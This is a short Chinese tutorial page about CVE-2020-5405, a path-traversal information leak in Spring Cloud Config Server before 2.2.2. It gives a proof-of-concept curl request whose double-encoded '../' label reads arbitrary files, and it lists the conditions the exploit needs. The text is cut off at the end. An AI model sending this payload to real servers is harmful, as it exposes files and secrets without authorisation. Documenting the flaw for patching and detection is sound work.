zl程序教程

您现在的位置是:首页 >  后端

当前栏目

spring框架漏洞整理(Spring Cloud Config路径穿越导致的信息泄露)

Spring漏洞Cloud框架 信息 路径 整理 导致
2023-09-11 14:19:27 时间

CVE-2020-5405 Spring Cloud Config路径穿越导致的信息泄露。

此spring框架漏洞影响版本:spring-cloud-config-server < 2.2.2

https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/65bbd0ec4f2fd012318f7d91548ba1f338d5e064/Spring%20Cloud/CVE-2020-5405%20Spring%20Cloud%20Config%20%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A/README.md

poc:

Spring Cloud Config路径穿越导致的信息泄露利用点1:

curl http://127.0.0.1:9988/foo/profiles/%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp/aaa.xxx

读取 /User/xuanyonghao/tmp/aaa.xxx 文件

foo 对应 {application}
profiles 对应 {profiles}
%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp 对应 {label}

todo 条件限制:

todo 1. 文件必须有后缀,也就是类似 .txt 等等。

todo 2. cloud: config: server: native: search-locations: file:///tmp/{label},此处的目录需要有{application}或{profiles}或{label}&#x